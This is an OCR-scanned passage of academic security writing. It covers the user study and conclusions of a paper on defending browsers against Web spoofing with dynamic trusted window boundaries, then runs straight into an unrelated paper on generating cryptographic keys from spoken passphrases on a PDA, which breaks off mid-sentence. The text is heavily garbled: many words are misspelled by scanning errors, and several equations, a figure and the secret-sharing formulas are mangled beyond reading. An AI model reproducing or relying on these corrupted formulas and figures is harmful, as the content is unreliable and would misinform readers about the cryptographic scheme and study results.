and window appearance. After viewing the original user 
interface, the users started our modified browser and en- 
tered an SSL session with a server. The users invoked the 
page information window, and checkcd the server cert fi- 
cate which the browser appeared to present. The page 1n- 
formation window and the certificate window popped up 
with different boundaries, according to the session. 

The users were asked to observe the windows for ten 
seconds before they answered the questions. The ques- 
tions included what they observed of the two parameters 
of the window boundaries, whether they thought the win- 
dow was authentic, and how confident they were about 
their judgment. 


6.2 Users Description 


We tried to collect users from different sophistication lev- 
els, in order to provide realistic results for evaluation of 
our design. More :mportantly, we wanted to collect 1n- 
fonnation on how regular users recognize status from the 
browser user interface—this information would not only 
help us evaluate our current approaches, but could also po- 
tentially help drive destgns of better user interfaces. (We 
see much potential future work here.) 
For this user study, we had seven volunteers. 


e Two can be ranked as experts: a scientist 
at Dartmouth’s Institute for Security Technology 
Studies, and a Ph.D. candidate in computer science. 


e Three are undergraduates who search the Web for in- 
formation and buy products over the Web quite often. 
They also like new technology and are quick learn- 
ets: 


e Two arc medical scientists who use Web mainly 
for searching research papers, and do not do online 
credit card transactions very often. 


The user ages range from 21 to 40, covering the main 
age area of Web users. The users major in physiology, 
biology, computer science, engineering, psychology, so- 
ciology, medicine. Among these users, only the computer 
experts check the security features on their browsers be- 
fore they submit credit card information online. Except 
for these two experts, only one subject had even heard of 
the phrase “SSL” and none of them knew what it meant. 


Except for the experts, no one checked the Atips and the 
lock icon. 


6.3 User Study Results 


We summarize the most significant results we observed 
from the tests. 


6.3.1 No Reference Window 


In the first test, we used dynamic boundaries but no refer- 
ence window. 


Response to the static trusted boundary. This is 
the first test session. When shown the certificate window 
with a static trusted boundary, only the computer experts 
correctly perccived the status information and asserted 
that the certificate window was not authentic. All the other 
users failed to make the correct judgment, although they 
were not confident about their decision. An interesting ob- 
servation was that three out of five users who made wrong 
judgment at first, recalled the window in first session was 
inauthentic after finishing the first test. This shows how 
quickly the users can be educated. 


Response to the synchronized trusted boundary. 
In this session, the users viewed the browser with proper 
SRD boundaries. Five out of seven users made the correct 
judgment. The ones who made the correct judgment were 
confident about the decision. The ones that failed to cap- 
ture the right infonnation were not confident about their 
decision. 


Response to the synchronized untrusted bound- 
ary. In this session, the certificate window came with a 
blue (untrusted) boundary. Five out of seven users cor- 
rectly recognized the certificate window was not authen- 
tic, because it should be in an orange boundary. The ones 
who made the correct judgment were confident about the 
decision, and thought the signal expressed by the color 
scheme was very clear. 


Response to the asynchronous trusted bound- 
ary. In this session, the user needed to recognize that 
the trusted boundary was not changing correctly. All the 
users successfully judged this window was not authentic. 
They were also confident in their judgment. 

This result surprised us: we thought the synchroniza- 
tion Is not as strong a signal as the color. Apparently, hu- 
man users recognize the synchronization parameters bet- 
ter than the color scheme. One reason may be that users 
pay more attention to dynamic features than to static ones. 
A second reason for this result may be that this is the last 
session of the first test. During the first three sessions, the 
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users may have learned how to observe and make judg- 
ment. 


6.3.2 Full SRD 


We then tested full SRD, with the reference window. 


Response to the static trusted boundary. The 
reference window popped up before the main window 
started, which won most of the users’ attention. Five out 
of seven users recognized the window status successfully. 
The ones made correct decision were confident about their 
decision. 


Response to the synchronized trusted boundary. 
This time, all the users successfull y recognized the status 
information and felt confident in their decision. 


Response to the synchronized untrusted bound- 
ary. Six out of seven users made the correct judgment. 
They thought the signal expressed by the color was very 
clear. 


Response to the asynchronous trusted bound- 
ary. All the users made the correct judgment. They all 
were confident about their decision, and thought the sig- 
nals were very clear. 


6.3.3 CMW-Style 


In our last test, we simulated the CMW-style approach. 

This test was an optional one for the users. Two out 
of four users who did this test successfully made the right 
judgment—but they were the experts. In general, the users 
felt confused about the information provided by the CMW 
reference window, and they tended to neglect it. We plan 
a more detailed study here. 


6.4 User Study Conclusions 


Different levels have very different responses. 
During our tests, we noticed that it was very obvious that 
the computer scientists have much faster reaction to secu- 
rity signals, and were more successfiil at recognizing what 
the signals meant. The other users took longer to observe 
the signals, and still did not always make the correct judg- 
ment. The user with the physiology background did not 
understand the parameters until the second session of the 
second test. 

One conclusion is that computer scientists have a very 
different view of these issues from the general popula- 
tion. A good security feature may not work without good 
public education. For example, SSL has been present 
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in Web browsers for years, and is the foundation of “se- 
cure” e-commerce, which many in the general public usc. 
However, only one of our non-computer people heard of 
this phrase. Signals such as the lock icon—or anything 
more advanced we dream up-—will makeno sense to users 
who do not know what SSL means. 


Users learn quickly. Another valuable feedback from 
our user study was that general users learned quickly, if 
they have some Web experience. Three out of five non- 
computer experts understood immediately after we ex- 
plained SSL to them, and were able to perceive server au- 
thentication signals right away. The other two gradually 
picked up the idea during the one hour tests. At the end 
of the tests, all of our users understood what we intended 
them to understand. 

This result supports the “minimal user work” property 
of our SRD approach: it easy to learn even for the people 
outside of computer science. The users do not do much 
work; what they need to do is observe. The status in- 
formation reaches them automatically. No Web browser 
configuration or detailed techniques are involved. 


Reference is better. Most of our users felt it was bet- 
ter to have the reference window, because it made the syn- 
chronization parameter easy to be observed. The refer- 
ence window starts earlier than the main window, so it at- 
tracts user’s attention. The users would notice the chang- 
ing of boundary right after the main window starts up. 

This result is tronic, when one considers that we only 
added the reference window because it was easter than re- 
writing Mozilla’s thread code. 


Dynamic is better. The dynamic effect of SRD 
boundary increases its usability. The human users pay 
more attention to the dynamic items in Web pages, which 
is why many Web site use dynamic techniques. In our 
user study, most of the non-computer people did not even 
notice that a static window boundary existed in the first 
session test. 


Automatic is better. The user study result from 
CMW-style approach simulation also indicates that indi- 
cating security information without requiring user action 
was better. 


¢’ Conclusions and Future Work 
TA 


A systematic, effective defense against Web spoofing re- 
quires establishing a trusted path from the browser to its 
user, so that the user can conclusively distinguish between 
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genuine status messages from the browser itself, and ma- 
liciously crafted content from the server. 

Such a solution must effectively secure all channels of 
information the human may use as parameters for his or 
her trust decision; must be effective in enabling user trust 
judgment; must minimize work by the user and intrusive- 
ness in how server material 1s rendered, and be deployable 
within popular browser platforms. 

Any solution which uses static markup to separate 
server material from browser status cannot resist the 1m- 
age spoofing attack. In order to prove the genuineness 
of browser status, the markup strategy has to be unpre- 
dictable by the server. Since we did not want to require 
active user participation, our SRD solution obtains this 
unpredictability from randomness. 

This, we believe our SRD solution meets these crite- 
ria. We offer this work back to the community, in hopes 
that it may drive more thinking and also withstand further 
attempts at spoofing. 


7.2 New Directions 


This research also suggests many new avenues of re- 
search. 


Parameters for Trust Judgment. The existence ofa 
trusted path from browser to user does not guarantee that 
the browser will tell the user true and useful things. 

What ts reported in the trusted path must accurately 
match the nature of the session. Unfortunately, the his- 
tory of the Web offiers many scenarios where issues arose 
because the reality of a browsing session did not match 
the user’s mental model. Invariably this happens because 
the deployed technology is a richer and more ambigu- 
ous space than anyone realizes. For example, it 1s nat- 
ural to think of a session as “SSL with server A” or 
“non-SSL.” It is interesting to then construct “unnatural” 
Web pages with a varicty of combinations of framesets, 
servers, |x]-pixel images, and SSL elements, and then 
observe what various browsers report. For one example, 
on Netscape platforms we tested, when an SSL page from 
server 4 embedded an image with an SSL reference from 
server 6, the browser happily established sessions with 
both servers---but only reported server A’s certificate in 
“Security Information.” Subsequently, it was reported [3] 
that many IE platforms actually use different validation 
rules on some instances of these multiple SSL channels. 
Another issue 1s whether the existence of an SSL session 
can enable the user to trust that the data sent back to the 
server will be SSL protected. [17] 

What is reported in the trusted path should also pro- 
vide what the user needs to know to make a trust deci- 
sion. For one example [8], the Palm Computing “‘secure”’ 
Web site 1s protected by an SSL certificate registered to 


Modus Media. Is Modus Media authorized to act for Palm 
Computing? Perhaps the server certificate structure dis- 
played via the trusted path should include some way to 
indicate delegation. For another example, the existence of 
technology (or even businesses) that add higher assurance 
to Web servers (such as our WebALPS [12, 21, 22] work) 
suggests that a user might want to know properties in ad- 
dition to server identity. Perhaps the trusted path should 
also handle attribute certificates. 

Other unceitain issues pertaining to effective trust judg- 
ment include how browsers handle certificate revoca- 
tion [26] and how they handle CA certificates with de- 
liberately misleading names [17]. 


Access Control on Ul. Rescarch into creating a 
trusted path from browser to user 1s necessary, in part, 
because Web security work has focused on what machines 
know and do, and not on what humans know and do. It is 
now unthinkable for server content to find a way to read 
sensitive client-side data, such as their system password; 
however, it appears straightforward for server content to 
create the illusion of a genuine browser window asking for 
the user’s password. Integrating security properties into 
document markup 1s an area of ongoing work; it would be 
interesting to look at this area from a spoof-detense point 
of view. 


Multi-Level Security. It is fashionable for younger 
scientists to reject the Orange Book and its associated 
body of work regarding multi-level security as being 
archaic and irrelevant to the modern computing world. 
However, our defense against Web-spoofing is essentially 
a form of MLS: we are marking screen elements with 
security levels, and trying to build a user interface that 
clearly communicates these levels. (Of course, we are also 
trying to retro-fit this into a large legacy system.) It would 
be interesting to explore this vein further. 


Visual Hashes. In personal communication, Perrig 
suggests using visual hash information [18] in combina- 
tion with various techniques, such as meta-data and user 
customization. Hash visualization uses a hash function 
transforming a complex string into an image. Since image 
recognition 1s easier than string memorization for human 
users, visual hashes can help bridge the security gap be- 
tween the client and server machines, and the human user. 
We plan to examine this in future work. 


Digital Signatures. Another interesting research area 
is the application of spoofing techniques to digital signa- 
ture verification tools. In related work [13], we have been 
examining how to preserve signature validity but still fool 
humans. However, both for Web-based tools, as well as 
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non-Web tools that are content-rich, spoofing techniques 
might create the illusion that a document’s signature has 
been verified, by producing the appropriate icons and be- 
havior. Countermeasures may be required here as well. 


Formal Model of Browser Content Security. 
Section 3.] discussed the basic framework of distinguish- 
ing browser-provided content from server-provided con- 
tent rendered by the browser. However, formally distin- 
guishing these categories raises additional issues, since 
much browser-provided content still depends on server- 
provided parameters. More work here could be interest- 


ing. 
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Abstract 


Programmable mobile phones and personal digital 
assistants (PDAs) with microphones permit voice- 
driven user interfaces in which a user provides in- 
put by speaking. In this paper, we show how to ex- 
ploit this capability to generate cryptographic keys 
on such devices. Specifically, we detail our im- 
plementation of a technique to generate a repeat- 
able cryptographic key on a PDA from a spoken 
passphrase. Rather than deriving the cryptographic 
key from merely the passphrase that was spoken— 
which would constitute little more than an exercise 
in automatic speech recognition—we strive to gener- 
ate a substantially stronger cryptographic key with 
entropy drawn both from the passphrase spoken and 
how the user speaks it. Moreover, the cryptographic 
key is designed to resist cryptanalysis even by an 
attacker who captures and reverse-engineers the de- 
vice on which this key is generated. We describe 
the major hurdles of achieving this on an off-the- 
shelf PDA bearing a 206 MHz StrongArm CPU and 
an inexpensive microphone. We also evaluate our 
approach using multiple data sets, one recorded on 
the device itself, to clarify the effectiveness of our 
implementation against various attackers. 


1 Introduction 


Futuristic mobile computing platforms will offer, 
and in some cases will require, methods of user input 
other than a keyboard, mouse or joystick. This is 
especially true for head-mounted displays and other 
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wearable computers (e.g., see [22]). For such fu- 
turistic devices, and even for next-generation PDAs 
and programmable mobile phones, voice is a leading 
contender for the dominant user input medium. 


We argue that if voice prevails in this sense, then 
this poses a challenge for securing data on these 
devices. On the one hand, if our experience with 
laptop computers and mobile phones is any indica- 
tion, then these devices will be stolen frequently: 
Laptop theft is already the second leading quan- 
tifiable cost to enterprises from IT-related security 
threats [19]. Similarly, mobile phones are the object 
of theft in four of every ten personal robberies in sev- 
eral cities in the United Kingdom, and these areas 
logged a fourfold increase in personal robberies in- 
volving mobile phones between 1998-99 and 2000- 
01.1 These trends suggest that encryption of any 
sensitive data on such devices is prudent. On the 
other hand, presuming that these devices will not be 
tamper-resistant, the cryptographic key with which 
such encryption can be performed would need to 
be derived from the voice input of the user, pre- 
sumably some form of spoken passphrase. Unfortu- 
nately, spoken passphrases are likely to have far less 
entropy than typed ones, due to their need to be 
pronouncible and due to other forms of information 
loss in a spoken representation (e.g., capitalization 
and punctuation). 


In this paper we describe an implementation of an 
approach to derive a repeatable cryptographic key 
from spoken user input, in which the entropy of 
the key is drawn from both the passphrase that is 
spoken and the speech patterns of the user while 
speaking it. In this way, even if the entropy of 
the passphrase space is small, the variability across 
users’ vocal tracts will pose an additional obstacle 
to the cryptanalysis of the key. Moreover, our ap- 
proach uses techniques designed to withstand an at- 


1See http://news.bbc.co.uk /hi/english/uk /newsid_1440000/ 
1440863.stm. 
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tacker who captures and reverse-engineers the de- 
vice on which the key generation takes place (but 
not while it is taking place), i.e., an attacker who 
has full access to the stable storage of the device. 
Our general approach for achieving this was dis- 
cussed in [16], though as only an initial step toward 
this goal, that work evaluated the approach only for 
the generation of 46-bit keys, using only utterances 
recorded over phone calls, and without regard for 
the difficulties faced in implementing the approach 
on resource-constrained devices. Here, we provide a 
somewhat more realistic evaluation of this approach 
using a full implementation on an off-the-shelf PDA 
(the Compaq IPAQ), using data recorded on that 
PDA, and targeting 60-bit cryptographic keys. We 
detail numerous changes and refinements we needed 
to make the approach viable on this platform. We 
will also give evidence to suggest that the adversary 
gains little by knowing the user’s passphrase, and 
that the advantage the adversary gains by addition- 
ally recording the user saying phrases other than the 
passphrase is less than one might expect. 


We caution the reader, however, of several limi- 
tations of our analysis and our approach. First, 
though we demonstrate the reliable re-generation of 
a key using an 60-bit characterization of the user’s 
utterance, we do not claim to necessarily achieve 
keys with 60 bits of entropy. Indeed, one can draw 
few conclusions regarding key entropy from the lim- 
ited user studies [16, 17] that we have been able to 
perform. That said, our studies suggest that the 
technique we have implemented does draw signif- 
icant entropy from passphrase utterances, and at 
the very least should offer greater entropy than the 
passphrase space alone. Second, as our approach 
strives to re-generate a cryptographic key whenever 
the legitimate user utters her passphrase, it is nec- 
essarily vulnerable to an attacker who can obtain 
both the user’s device and a high-quality recording 
of the user uttering her passphrase; this exposes all 
the user’s keying material, after all. While any bio- 
metric is vulnerable to such an attack, we raise this 
point here to emphasize the primary attacker with 
which we are concerned: the attacker who captures 
the device but that does not have access to the user. 
That said, we do show, somewhat surprisingly, that 
knowledge of the user’s passphrase seems to help the 
attacker little, and that even recordings of the user 
saying other phrases helps only marginally. 
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2 Background 


In this section we give the background necessary: 
to describe our contributions in this paper. Our 
general approach to generating a cryptographic key 
from a spoken utterance of a passphrase is described 
in [16] and is based on an approach initially devel- 
oped for generating a key from a typed password 
and the user’s keystroke timings during the entry of 
that password [15]. How this paper relates to these 
prior publications is described below. 


In our approach, the system is initialized by first 
generating a cryptographic key K, and then gener- 
ating a collection of 2m shares of K using a generel- 
ized secret sharing scheme (e.g., see [24] for a survey 
of such schemes), where m is a system parameter. 
These shares are aligned in a m x 2 table that is 
stored on stable storage. The shares must be gener- 
ated and placed within the table so that K can be 
reconstructed from any set of m shares consisting of 
one share from each row of the table. 


Upon entry of the passphrase, the system mea- 
sures m biometric features of the user’s entry of the 
passphrase. We denote the i-th feature by ¢;, and 
denote the value of feature ¢; on the é-th (success- 
ful or unsuccessful) attempt to log into this user’s 
account (i.e., generate this user’s key) by ¢;(@). In 
the case of a spoken passphrase, the features ¢; are 
features extracted from the user’s utterance as de- 
scribed in [16]. For the @-th login attempt, the sys- 
tem then generates a bit string be € {0,1} from 
Po(l),.--,Pm—1(L); be is called a feature descriptor, 
and the i-th bit of bg, denoted be(i), is determined 
from the i-th feature ¢,(€). Algorithms for gener- 
ating be from ¢o(€),...,¢m—1(@) are proposed and 
evaluated in [16], but for the purposes of this paper, 
the reader can think of bg being determined by 


by(i) Or Soe ince a, 


1 otherwise 


(1) 


where 7; denotes some fixed threshold value. The 
system then attempts to reconstruct K using the 
table elements at positions (i, be(i))o<icm- When 
the login index @ is not necessary in the discussion, 
we will typically omit it. 


After a history of feature descriptors from success- 
ful logins is observed (i.e., logins in which the key 
was successfully reconstructed), those elements of 
the table that are not typically accessed by the user 
are perturbed randomly. So, for example, if the 
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feature descriptors b induced by a user’s biometric 
measurements are such that 6(4) = 1 consistently, 
then the (4, 0) element of the table is randomly al- 
tered. If b(7) is sufficiently consistent that element 
(1, 1—b(2)) in the table is perturbed in this way, then 
b(2) is called a distinguishing feature. We will give 
a precise characterization of distinguishing features 
in Section 5. 


The correct user, when inducing feature descriptors 
consistent with those she has induced in the past, 
should not encounter any of the altered elements in 
the table. We have found, however, that in practice 
it is necessary for the system to attempt reconstruc- 
tion using feature descriptors within some Hamming 
distance Cmax of the induced feature descriptor, to 
correct for up tO Cmax “errors” by the user (e.g., 
see [15]). This results in up to 


y (") (2) 


secret sharing reconstructions per key 


(re)generation attempt. 


Security of this technique requires that an adversary 
who captures the device be unable to efficiently dif- 
ferentiate a random table element from a valid share 
of kK. If this is the case, then an adversary may be 
forced to simply guess feature descriptors until he 
finds K. If d table elements were randomized (i.e., 
there are d distinguishing features), then 2™~¢% out 
of the 2” possible feature descriptors yield K, and 
so the probability that a randomly chosen descriptor 
will reconstruct the secret is 2~¢. 


Specific secret sharing schemes for populating this 
table were investigated in [15]. That paper also 
included an evaluation of this approach with fea- 
ture descriptors of length m = 15 derived from 
the keystroke timings of a user while typing an 8- 
character password. ‘There, we evaluated an imple- 
mentation in which the table was additionally en- 
crypted with the password; in this way, the tech- 
nique serves to render a dictionary attack against 
the password up to 2!° times more difficult. Our 
subsequent work on voice features [16] described al- 
gorithms for generating feature descriptors from the 
user’s voice while speaking a passphrase. It further 
evaluated the security and reliability of the resulting 
technique with feature descriptors of length m = 46 
derived from preexisting recordings of users over a 
phone line. However, in contrast to the keystroke 
case, here our evaluation presumed a table that was 
not encrypted with the passphrase, in order to avoid 


the costs of automatically recognizing the spoken 
passphrase (to decrypt the table). In this case, 
m = 46 does not provide nearly enough security 
for important applications. 


In this paper we address the computational chal- 
lenges of performing key reconstruction on a 
resource-constrained PDA with more realistic pa- 
rameters than our previous voice study explored. 
Specifically, we evaluate our implementation of this 
approach for feature descriptors of length m = 60, 
and argue that regenerating the key K can be reli- 
ably achieved on a 206 MHz StrongARM processor 
by correcting for up to Cmax *& 5 errors (in the sense 
described above). The challenges in achieving this 
are the front-end signal processing needed to keep 
Cnax Small so that expression (2) remains manage- 
able, and in devising a secret sharing scheme and 
corresponding reconstruction algorithm that per- 
mits this reconstruction to occur in a reasonable 
amount of time on this platform. Consequently, we 
focus on these contributions in this paper, and refer 
the reader to [16] for the algorithmic details com- 
prising other steps of the key (re) generation process. 


3 Front-end Signal Processing 


As described in Section 2, the front-end signal pro- 
cessing performed by the device is critical for effi- 
ciently generating a key from the user’s utterance 
of her passphrase. Intuitively, the goal of this sig- 
nal processing is to translate the sound uttered by 
the user—which is received in the device as a Se- 
ries of amplitude samples from its microphone and 
analog-to-digital (A/D) converter—into a represen- 
tation suited for the generation of a feature descrip- 
tor (using the algorithms of {16]). Ideally, this signal 
processing should yield a representation that is as 
“clean” as possible, in that inter-word silence and 
background noise affect this representation as little 
as possible. The less silence and background noise in 
the representation after signal processing, the more 
consistent the user’s utterances will be (thereby in- 
creasing d and the security of the scheme) and/or 
the less error correction will be necessary in the later 
stages of key generation (i.e., the smaller cma, and 
expression (2) can be). 


Of course, the benefits of signal processing in terms 
of producing a clean representation of the user’s ut- 
terance must be weighed against the computational 
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cost of the signal processing itself. ‘The challenge is 
to find the right balance of eliminating environmen- 
tal effects early via signal processing, versus relying 
on the error correction in the key generation step 
to compensate for the effects of noise and silence in 
the user’s utterance. In this section we describe the 
series of signal processing steps that we believe best 
achieves this balance. ‘These steps are pictured in 
Figure 1 and described textually below. 


autocorrelation 
—e| ADC | —, |down singling) — .. : 


energy | 
endpoint LPC 
detection analysis 
frames cepstrum silence | 
voice-only | * mean-subtract| ™ renoval 


Figure 1: Outline of the front-end modules used for 
capturing the speech and processing the signal to 
generate a sequence of frames comprising the voice- 
only portions in the utterance. 


As the speaker utters her passphrase, the signal is 
sampled at a predefined sampling rate, which is the 
number of times the amplitude of the analog sig- 
nal is recorded per second. ‘The minimum sampling 
rate supported by our target platform, the IPAQ™ 
(see Section 5.1), is 32 kHz; i.e., 32,000 samples are 
taken per second.? Each sample is represented by 
a fixed number of bits. Obviously, the more bits 
there are per sample, the better is the resolution of 
the reconstructed signal, but the more storage is re- 
quired for saving and processing the utterance. In 
our implementation, we represent the signal using 
16 bits per sample. Therefore, the amount of stor- 
age required per second of recorded speech is 


samples 
second 


bytes 


kilobytes 
sample 


32000 
second 


(3) 
Since the utterance of one of our tested passwords 
can easily be 6 seconds or more, the storage require- 
ments for processing even a single utterance can be 

?The IPAQ is claimed to support lower sampling rates, 


but we have been unable to get them to work correctly under 
Linux. 
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significant for a resource-constrained device. This 
is especially true since, as we have found by experi- 
ence, writing to stable storage while the recording is 
ongoing can introduce noise into the recording. In 
our case, this particularly posed an issue for our ex- 
perimental evaluation in which we needed to acquire 
many samples from the speaker; see Section 5.1. 


To make subsequent processing on the device eff- 
cient, our implementation first makes several modi- 
fications to the recorded speech to reduce the num- 
ber of samples. For example, we down-sample the 
32,000 samples per second to only 8,000 samples 
per second, effectively achieving an 8 kHz sampling 
rate. For most voice-related applications, a sam- 
pling rate of 8 kHz is sufficient to reconstruct the 
speech signal. In fact, nearly all phone companies 
in North America use a sampling rate of 8 kHz [21]. 


Down sampling must be performed with some care, 
however, due to the sampling theorem [20]. The 
sampling theorem tells us that the sampling rate 
must exceed twice the signal frequency to guarantee 
an accurate and unique representation of the signal. 
Failure to obey this rule can result in an effect called 
aliasing, in which higher frequencies are falsely re- 
constructed as lower frequencies. Down sampling 
to 8 kHz therefore implies that only frequencies up 
to 4 kHz can be accurately represented by the sam- 
ples. Therefore, when down sampling to 8 kHz we 
use a low-pass digital filter with cutoff at 4 kHz to 
strip higher frequencies from the signal. That is, 
this filter takes sound of any frequencies as input 
and passes only the frequencies of 4 kHz or less. 


After down sampling, the signal is broken into 
30 millisecond (ms) windows, each overlapping the 
next by 10 ms. Within each window are 240 samples 
(since 8,000 samples/second x 0.03 seconds = 240 
samples). Overlapping windows by 10 ms avoids 
discontinuities from one window to the next, and 
additional smoothing is performed within each win- 
dow to yield as smooth a signal as possible. 


The goal of the next signal processing steps is to 
derive a frame from each window. A frame is a 
12-dimensional vector of real numbers called cep- 
stral coefficients [20], which have been shown to be 
a very robust and reliable feature set for speech and 
speaker recognition. These cepstral coefficients are 
obtained using a a technique called autocorrelation 
analysis. The basic premise behind autocorrelation 
analysis is that each speech sample can be approx- 
imated as a linear combination of past speech sam- 


USENIX Association 


USENIX Association 


ples. The extraction of a frame of cepstral coefh- 
cients using autocorrelation analysis involves highly 
specialized algorithms that we do not detail here, 
but that are standard in speech processing (linear 
predictive coding [10]). 


A side effect of generating frames is a calculation of 
the energy of the signal per window. The energy of 
a window is proportional to the average amplitudes 
of the samples in the window, measured in decibels 
(dB). Energy can be used to remove frames repre- 
senting silence (which has very low energy) from the 
frame sequence, via a process called endpoint detec- 
tion [13]. The silence portions of the feature frames 
are then removed and the voice portions concate- 
nated. 


Final modifications to the frame sequence are made 
via a technique called cepstral mean subtraction. 
In this technique, the component-wise mean over 
all frames is computed and subtracted from every 
frame in the sequence. Intuitively, if the mean 
vector is representative of the background noise or 
the channel characteristics in the recording environ- 
ment, then subtracting that mean vector from all 
the frames yields a frame sequence that is more ro- 
bust in representing the user’s voice. 


After this, the speech data is segmented and con- 
verted to a sequence of bits (a feature descriptor) as 
described in [16]. This feature descriptor is used to 
regenerate the secret key from the previously stored 
table of shares, as described in Section 2. 


4 Encoding Scheme 


The second component on which we focus here is 
the particular secret sharing scheme we use to pop- 
ulate the m x 2 table described in Section 2 and 
from which the key K is reconstructed. We quickly 
found in the implementation of this technique on 
the resource-constrained IPAQ that the secret shar- 
ing schemes suggested in [15] would not suffice. 
That paper suggests three different schemes. One 
is sufficiently resource efficient for our purposes but 
also has potential security weaknesses (see [15, Sec- 
tions 5.1-5.2]), and while the other two address this 
weakness [2], they are simply too computationally 
intensive during reconstruction to permit the degree 
of error correction we require. ‘Therefore, to achieve 
sufficiently inexpensive reconstruction, we devised 


a secret sharing scheme that would permit fast re- 
construction and that appears to be secure for our 
purposes. 


We emphasize that the type of security we require 
for our secret sharing scheme is different from the 
typical security definition of a secret sharing scheme. 
The latter definition is, informally, that an adver- 
sary not possessing a sufficient set of shares be un- 
able to reconstruct the secret. In our case, how- 
ever, the adversary who captures the device is in 
possession of all shares in the table, and so clearly 
possesses enough shares to reconstruct the secret. 
Our security requirement is rather that the adver- 
sary be unable to efficiently find a sufficient set of 
valid shares in the table, i.e., a set containing a valid 
share from each row of the table and no invalid (ran- 
dom) elements. Ideally, the best the adversary could 
do would be to repeatedly try reconstruction with 
a randomly chosen set containing one element from 
each row. However, because the invalid shares are 
placed according to an unknown distribution deter- 
mined by the biometric features of the user—and 
not uniformly at random—it is impossible to for- 
mally reduce the security of such a scheme to a well- 
known cryptographic problem. (Obviously there are 
distributions that would leave the scheme trivially 
breakable.) As such, until we find a better way to 
model security, we are stuck with heuristically se- 
cure schemes; the approach described in this sec- 
tion is one. Nevertheless, we will comment in detail 
about our current knowledge of the security of this 
scheme in Section 4.4. 


4.1 Initialization 


Here we do not describe the secret sharing scheme 
is its full generality, but rather describe how it is 
instantiated for our particular purposes. When a 
device is initialized for a user, the device first selects 
a random (m — 1)-element column vector s € Li 
for p a prime. Here, p can be small; p = 27! — 1 is 
a suitable choice, so that arithmetic on 32-bit pro- 
cessors is very fast. ‘The vector s is a secret vector, 
the recovery of which is necessary to obtain the key 
k. For example, K can be defined as K = h(s) for 
h a one-way function, or K can be encrypted with 


h(s). 


The second step in initialization is to generate a ran- 
dom 2m x (m—1) matrix U = (uij)o<i<com,o<jem-1 
where each ui; € Zp. U is a data structure that 
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is stored in addition to the table, though if U is 
generated pseudorandomly, then storing the seed of 
the pseudorandom process is sufhcient for U to be 
regenerated when needed. The 2m-element table 
CS Cot intaytont) e Tage is then generated as 
t =, Us (where “=,” denotes equivalence modulo 
p). That is, t is the table as described in Section 2; 
intuitively, the element in the 1-th “row” and j-th 
“column” for 0 <i< mand j € {0,1} is tai4;. 


To complete initialization, s is deleted, and U (or 
the seed needed to regenerate it), the table t, and 
prime p are stored for the next key regeneration at- 
tempt. In addition, y = h'(s) is stored for some 
(different) one-way and collision-resistant function 
h' # h, so that when s is reconstructed, it can be 
recognized as correct. 


After a sufficient number of successful key recon- 
structions (see Section 4.2), the table ¢ is “hard- 
ened” as described in Section 2: if over a number of 
successful key reconstructions, each induced feature 
descriptor b is consistent on the i-th feature (i.e., 
b(t) is usually the same, as specified more precisely 
in Section 5), then element to;4(1~9(i)) is assigned 
to be a random element of Z,. This should usually 
not affect reconstruction for the correct user, since 


that user typically selects to;+5(;)- 
4.2 Key reconstruction 


As described in Section 2, the input from the user, 
in this case an utterance, is used to generate an 
m-bit feature descriptor b. The key regeneration 
program constructs a vector t, € Zp” by selecting 
the corresponding elements of the table, i.e., (t,)’ = 
(to;+6(i) o<icm. It similarly constructs am x (m—1) 
matix.C).— (4934-6(4),4 )0<t—om,0<jem-—1- Note that 
solving 

(4) 


for s' would yield s = s’ if b contained no user er- 
rors, and the fact that s’ = s could be confirmed by 
testing whether y = h'(s’). However, since instan- 
tiating and solving (4) for all the different feature 
descriptors 6’ within Hamming distance cmax from 
b would require too much time on the target de- 
vice, our error correction strategy takes a different 
approach. 


Us 8° =p ty 


This faster approach derives from the observation 
that the equation U,,s' =, t,, for a feature descrip- 
tor b’ contains m equations in m—1 unknowns, and 
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thus is over-defined. This is intentional, and allows 
b' to be rejected very quickly if this equation has 
no solution. Specifically, let U », be the m x m ma- 
trix whose first mm — 1 columns are the same as U,, 
and whose last column is ¢t,,. Then, a solution ex- 
ists only if det(U,,) =, 0, and so if det(U,,) #p 0 
then b’ can be discarded from further consideration. 
Using a recursive algorithm, it is possible to check 
det(U,,) =, 0 for feature descriptors b! within emax 
errors of b using only one additional Gaussian elim- 
ination step per new b’. Due to this feature, our 
implementation can test over 6 x 10° feature de- 
scriptors b’ per second when m = 60. 


Two further observations are worth noting here. 
First, the determinant of even a randomly chosen 
matrix is 0 mod p with probability p~!, which is 
not negligible since p is chosen to be small. There- 
fore, if det(U,,) =, 0 and so we proceed to solve 
U,s' =p ty for s’, it remains necessary to confirm 
s’ by checking y = h'(s'). Second, there is a small 
chance that (4) is not solvable even if b is consis- 
tent with all the user’s distinguishing features, be- 
cause U, might not have full rank. Under the as- 
sumption that U, is chosen uniformly at random, 
it follows that U, has rank m — 1 with probability 
id —p-4) =1—p-?+O(p-%). This probability 
is much smaller than the probability that the sys- 
tem cannot be solved because the feature descriptor 
b induced by the user’s utterance contains more than 
Cmax errors, and thus can be ignored. 


4.3. Performance 


For performance measurements we choose to bench- 
mark key reconstruction on a 206 MHz StrongArm 
and a 500 MHz Ultra II. The first processor is that 
currently available in the IPAQ™., on which our 
current implementation runs. The second processor 
is in line with the current trends® in the hand-held 
market, and thus, allows us to forecast expected 
performance on future PDAs. Our performance 
benchmarks consists of a collection of C/C++ mod- 
ules cross-compiled for the ARM, comprising of sig- 
nal processing code, a patched cryptographic library 
based on cryptolib1.2 [11], and a matrix manipu- 
lation package newmatv9.0 [5] for implementing the 
segmentation algorithms outlined in [16]. 


3The Intel 80200 processor based on the Arm compli- 
ant XScale!™ microarchitecture that supports 400, 600, and 
733 MHz CPUs is expected to be widely available soon (see 
http://developer.intel.com/design/iio/prodbref/80200.htm). 
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To test the performance of our key reconstruction 
routines we devised the following experiment. First, 
an m x 2 table of shares of the key K is generated 
as outlined in Section 2, 1.e., as a user’s key regen- 
eration table would be initialized in practice. Then, 
d rows of the table (features) are selected at ran- 
dom to be distinguishing, and one element of each 
of these d rows is perturbed randomly—as if the 
user were consistent in utilizing the other element 
of this row (see Section 2). Finally, a feature de- 
scriptor 61s chosen with the property that c < Cmax 
of the d distinguishing features (chosen at random), 
say b(7,),..., (ic), are “errors”, i.e., are set to select 
the randomly perturbed elements of rows 2},.. 
The key reconstruction process performs a number 
of reconstructions that depends on c in its attempts 
to correct for such errors; the number of reconstruc- 
tions performed in the worst case is shown 1n expres- 
sion (2) of Section 2. Our benchmark is the amount 
of time required to reconstruct the key K on aver- 
age, which is a rough measure of the time required 


to perform 
te) + S i (5) 


2=0 


tes 





secret sharing reconstructions and test each for cor- 
